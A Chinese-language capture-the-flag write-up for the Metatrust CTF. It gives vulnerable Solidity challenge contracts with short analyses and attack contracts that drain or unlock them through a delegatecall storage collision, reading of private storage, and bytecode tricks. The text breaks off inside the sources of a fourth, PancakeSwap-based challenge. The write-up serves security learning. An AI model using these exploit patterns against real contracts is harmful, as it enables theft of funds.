Metatrust CTF

一.greeterVault

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VaultLogic {

address payable public owner;
bytes32 private password;

constructor(bytes32 _password) {
owner = payable(msg.sender);
password = _password;
}

function changeOwner(bytes32 _password, address payable newOwner) public {
if (password == _password) {
owner = newOwner;
}
}

function withdraw() external {
if (owner == msg.sender) {
owner.transfer(address(this).balance);
}
}

}

contract Vault {

address public owner;
VaultLogic public logic;

constructor(address _logicAddress) payable {
logic = VaultLogic(_logicAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(logic).delegatecall(msg.data);
if (result) {
this;
}
}

receive() external payable {
}


}

contract SetUp {

address public logic ;

address payable public vault;


constructor(bytes32 _password) payable{
VaultLogic logicCon = new VaultLogic(_password);
logic = address(logicCon);
Vault vaultCon = new Vault(logic);
vault = payable(address(vaultCon));
vault.call{value: 1 ether}("");
}

function isSolved() public view returns(bool) {
return vault.balance == 0;
}
}

Analysis

这道题十分简单,考察的就是delegatecall()函数低级调用是在本合约环境执行调用的函数,只需要调用changeOwner()函数即可,需要注意的是,这里由于是在本合约环境执行,所以比较的password实际上是Valut合约中的logic变量

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function attack() public{
bytes memory data = abi.encodeWithSelector(
VaultLogic.changeOwner.selector,
0x00000000000000000000000056f8d532037695D3aA59a8E005811cd8c01F0268,
payable(address(this)));
vault.call(data);
bytes memory data2 = abi.encodeWithSelector(
VaultLogic.withdraw.selector
);
vault.call(data2);
}

receive() external payable {
}
}

二.greeterGate

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Gate {
bool public locked = true;

uint256 public timestamp = block.timestamp;
uint8 private number1 = 10;
uint16 private number2 = 255;
bytes32[3] private data;

constructor(bytes32 _data1,bytes32 _data2,bytes32 _data3) {
data[0] = _data1;
data[1] = _data2;
data[2] = _data3;
}

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

function resolve(bytes memory _data) public {
require(msg.sender != tx.origin);
(bool success, ) = address(this).call(_data);
require(success, "call failed");
}

function unlock(bytes memory _data) public onlyThis {
require(bytes16(_data) == bytes16(data[2]));
locked = false;
}

function isSolved() public view returns (bool) {
return !locked;
}

}

Analysis

这道题考察的就是简单的内存布局,只需要懂内存布局,就可以知道data[2]存储在slot 5,读取值后构造一个calldata即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract Attack{
Gate target;
bytes public calldat;

constructor(address _addr){
target = Gate(_addr);
}

function attack(bytes memory _data3) public{
bytes memory _data = abi.encodeWithSelector(
Gate.unlock.selector,
_data3
);

target.resolve(_data);
}
}

三.BytecodeVault

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//SPDX-License-Identifier: MIT
pragma solidity ^0.5.11;

contract BytecodeVault {
address public owner;

constructor() public payable {
owner = msg.sender;
}

modifier onlyBytecode() {
require(msg.sender != tx.origin, "No high-level contracts allowed!");
_;
}

function withdraw() external onlyBytecode {
uint256 sequence = 0xdeadbeef;
bytes memory senderCode;

address bytecaller = msg.sender;

assembly {
let size := extcodesize(bytecaller)
senderCode := mload(0x40)
mstore(0x40, add(senderCode, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(senderCode, size)
extcodecopy(bytecaller, add(senderCode, 0x20), 0, size)
}
require(senderCode.length % 2 == 1, "Bytecode length must be even!");
for(uint256 i = 0; i < senderCode.length - 3; i++) {
if(senderCode[i] == byte(uint8(sequence >> 24))
&& senderCode[i+1] == byte(uint8((sequence >> 16) & 0xFF))
&& senderCode[i+2] == byte(uint8((sequence >> 8) & 0xFF))
&& senderCode[i+3] == byte(uint8(sequence & 0xFF))) {
msg.sender.transfer(address(this).balance);
return;
}
}
revert("Sequence not found!");
}

function isSolved() public view returns(bool){
return address(this).balance == 0;
}
}

Analysis

这道题就是要成功调用withdraw()函数即可,中间的一大段汇编只是在复制攻击合约的代码,之后进行检查代码长度是否为奇数,如果不是就加一些垃圾代码即可,在之后检查代码是否包含0xdeadbeef,只需要利用constant硬编码进字节码即可

Attack

1
2
3
4
5
6
7
8
9
10
11
contract Attack {
bytes32 constant public b = bytes32(uint(0xdeadbeef));
uint256 constant public c = 2;


function deploy(address _addr) public{
BytecodeVault(_addr).withdraw();
}

function() external payable { }
}

四.Achilles

Code

Interface.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);

/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);

/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);

/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);

/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);

/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);

/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);

/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
PancakeSwap.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Interface.sol";

// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}

/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}

/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}

/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}

/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}

/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}

/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}

/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}

/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}


library UQ112x112 {
uint224 constant Q112 = 2**112;

// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}

// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}

interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}

contract PancakePair {
using SafeMath for uint;
using UQ112x112 for uint224;

uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));

address public factory;
address public token0;
address public token1;

uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves

uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event

uint public unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Pancake: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}

function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}

function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Pancake: TRANSFER_FAILED');
}

event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

constructor() {
factory = msg.sender;
}

// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pancake: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}

// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= type(uint112).max && balance1 <= type(uint112).max, 'Pancake: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}



// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');

uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(0)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(0)));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
}

_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}

// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}

// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
WETH.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

import "./Interface.sol";

/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);

/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);

/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;

/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}

/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}

/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}

/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}

/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}

/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}

/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}

/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}

/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}

/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}

return true;
}

/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");

_beforeTokenTransfer(from, to, amount);

uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}

emit Transfer(from, to, amount);

_afterTokenTransfer(from, to, amount);
}

/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount);

_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);

_afterTokenTransfer(address(0), account, amount);
}

/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount);

uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}

emit Transfer(account, address(0), amount);

_afterTokenTransfer(account, address(0), amount);
}

/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
